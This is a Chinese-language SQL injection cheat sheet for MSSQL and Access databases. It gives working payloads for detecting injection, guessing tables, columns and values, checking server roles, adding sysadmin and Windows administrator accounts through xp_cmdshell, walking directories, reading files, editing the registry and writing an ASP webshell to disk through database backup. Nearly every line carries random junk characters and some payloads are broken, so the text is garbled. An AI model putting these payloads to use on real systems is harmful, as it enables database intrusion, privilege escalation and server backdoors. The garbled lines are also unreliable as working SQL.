1.判断是否有注入;and 1=1 ;and 1=2 cJd~UQ<k
2.初步判断是否是mssql ;and user>0 abh='5H|^|
Q3vC^}Dmr
3.注入参数是字符'and [查询条件] and ''=' U8KB@E
j-8v$0'
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $@"o BCc
T3,"g=
5.判断数据库系统 n#[-1(P
v=zqj}T
;and (select count(*) from sysobjects)>0 mssql ;,![Lar5L
U~n>k<`sr
;and (select count(*) from msysobjects)>0 access ?Y7'OlO
Kq
e,p{=
u[q1]]
="<5+G
6.猜数据库 ;and (select Count(*) from [数据库名])>0 wYQTG*&h
i_Dv+^&zV
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +e?mKLw14
_-eF
&D
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 \>0%E{CR
jX}}^XwX
9.(1)猜字段的ascii值(access) GO{o #}
-Zx
hh
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 DG,CL8bv
qR^KvAEQSo
(2)猜字段的ascii值(mssql) Y?W"@awE"\
>Y=HP&A<
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 fmyyQ|]O"
86igP
10.测试权限结构(mssql) WBD e`
ivg:`$a[
NfvvwG;M
2g5Ft
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- T&Z%=L_Q
tZ,vt7
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- u3)Oj7cX
],CJSA!5F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #U45;idp
'zCJK~x`x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r2A%.bL#
,CqJ((
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- qOy3D~
EN6a?
}5
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- np3$bqm
g&9E>w T
;and 1=(select IS_MEMBER('db_owner'));-- ;/+VHZP;
H%N!;Jz=
par|j]
Ncr38~;w
11.添加mssql和系统的帐户 ^% y<7>%
#eSVFD5ZU
;exec master.dbo.sp_addlogin username;-- ^DVj_&~
;exec master.dbo.sp_password null,username,password;-- d'ddxT$GG
(qd $wv^h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [=M0%"
w{uqy]
;exec master.dbo.xp_cmdshell 'net user username password \l!^6G|c
W:D'k^u
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^9*FYV
~XAtt\WS
;exec master.dbo.xp_cmdshell 'net user username password /add';-- *V+6409m
cpz'upVOZ
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :Awnj!KNCc
}YUUCq&
YT7,=k _
%qA@)u53
12.(1)遍历目录 C"l_78
Hik8u!#P
;create table dirs(paths varchar(100), id int) <[{Ty+
BG:l Zj'I
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3`sM/BoA
F02S(WWo;
;and (select top 1 paths from dirs)>0 wq&|V
[pMJ9
d$
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) c@u)m}V
`H+~LVH
XQCu\\>;
E~oQ%X~
(2)遍历目录 86Q\G.h7
|jB]5ciT
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5Pmmt/Z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `L<f15][
!wH7;tU
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 @k+Z?Hp
4T#B7wVoM
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 P(?i>F7s
g7*c wu
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 q~*3Bk~
Mf0!-bu
H':dLR
lK;/97Ze
13.mssql中的存储过程 V[D[MZ
gQy{OU
xp_regenumvalues 注册表根键, 子键 x`N_tWZ
""`>v`\
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 e*5TZ7.
=Ny&`X#F
xp_regread 根键,子键,键值名 zA+&V7bvy
w)I!q&`Y
;exec xp_regread =6j4_+5mnH
Ao%E]M
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2`4'Y.Qf
>
Q1r^
xp_regwrite 根键,子键, 值名, 值类型, 值 gb
6 gIFq;
y[7*^9J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0gY,[aQ2
b_88o-*/
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 m~s.al(G91
!>XG$-$`Z
xp_regdeletevalue 根键,子键,值名 |~mq+:44+
I#(D.\P
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 }W&hPC
',-4o-
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v=Ep
$Yfm>4
q^}QwJw
|RT#ZMJek
14.mssql的backup创建webshell S<^*jheO5
mo%9UL,#W
use model ?>47!):-*
#"|Y"#@k
create table cmd(str image); arf`%9M
{E!"^^0`
insert into cmd(str) values (''); ) *:<3g!
a&YD4DQ05
backup database model to disk='c:\l.asp'; }>:v
$-""=O|"
~7PPB|XY
w-Zb($_
15.mssql内置函数 /7Z0|Zw]
#5HJW[9
;and (select @@version)>0 获得Windows的版本号 5A]IiX4Z
?8wFT!J
;and user_name()='dbo' 判断当前系统的连接用户是不是sa z,XM|-"#<K
1G/bqIMg63
;and (select user_name())>0 爆当前系统的连接用户 Ve>*KHDSt
_%Q\G,a;
;and (select db_name())>0 得到当前连接的数据库 =L~,HS(l,
@]lKQZ^2&
E"k\eZns&
C:/ca)
16.简洁的webshell U(5(0r
>O[# 661
use model Zcd!y9]#
31mY]Jve"
create table cmd(str image); pE >~F
e#`wshtN:
insert into cmd(str) values (''); T1m097
!Dp4uE:Pq
backup database model to disk='g:\wwwtest\l.asp';